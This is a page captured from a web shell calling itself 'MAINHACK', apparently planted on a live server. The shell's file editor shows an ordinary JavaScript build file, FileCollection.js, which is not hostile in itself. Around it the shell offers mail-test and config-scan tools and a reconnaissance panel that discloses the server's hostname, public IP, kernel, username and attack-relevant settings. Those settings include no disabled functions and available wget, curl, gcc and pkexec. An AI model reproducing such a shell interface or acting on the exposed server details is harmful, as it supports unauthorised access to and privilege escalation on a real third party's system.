[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FileCollection.js
let concat = require('concat'); let path = require('path'); let fs = require('fs'); let babel = require('@babel/core'); let glob = require('glob'); let _ = require('lodash'); let Log = require('./Log'); let File = require('./File'); class FileCollection { /** * Create a new FileCollection instance. * * @param {string|string[]} files */ constructor(files = []) { /** @type {string[]} */ this.files = _.concat([], files); } /** * Fetch the underlying files. */ get() { return this.files; } /** * Merge all files in the collection into one. * * @param {File} output * @param {boolean} wantsBabel */ async merge(output, wantsBabel = false) { /** @type {string} */ // @ts-ignore const contents = await concat(this.files, output.makeDirectories().path()); if (this.shouldCompileWithBabel(wantsBabel, output)) { const code = this.babelify(contents); if (code) { output.write(code); } } return new File(output.makeDirectories().path()); } /** * Determine if we should add a Babel pass to the concatenated file. * * @param {Boolean} wantsBabel * @param {File} output */ shouldCompileWithBabel(wantsBabel, output) { return wantsBabel && output.extension() === '.js'; } /** * Apply Babel to the given contents. * * @param {string} contents */ babelify(contents) { let babelConfig = this.mix.config.babel(); delete babelConfig.cacheDirectory; const result = babel.transform(contents, babelConfig); return result && result.code; } /** * Copy the src files to the given destination. * * @param {File} destination * @param {string[]|File} [src] * @return {void|string} */ copyTo(destination, src = this.files) { this.assets = this.assets || []; this.destination = destination; if (Array.isArray(src)) { src.forEach(file => this.copyTo(destination, new File(file))); return; } if (src.isDirectory()) { src.copyTo(destination.path()); this.assets = fs.readdirSync(src.path()).map(file => { return new File(path.resolve(destination.path(), file)); }); return; } if (src.contains('*')) { let files = glob.sync(src.path(), { nodir: true }); if (!files.length) { Log.feedback(`Notice: The ${src.path()} search produced no matches.`); } return this.copyTo(destination, files); } if (destination.isDirectory()) { destination = destination.append(src.name()); } src.copyTo(destination.path()); this.assets = this.assets.concat(destination); return destination.path(); } get mix() { return global.Mix; } } module.exports = FileCollection;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002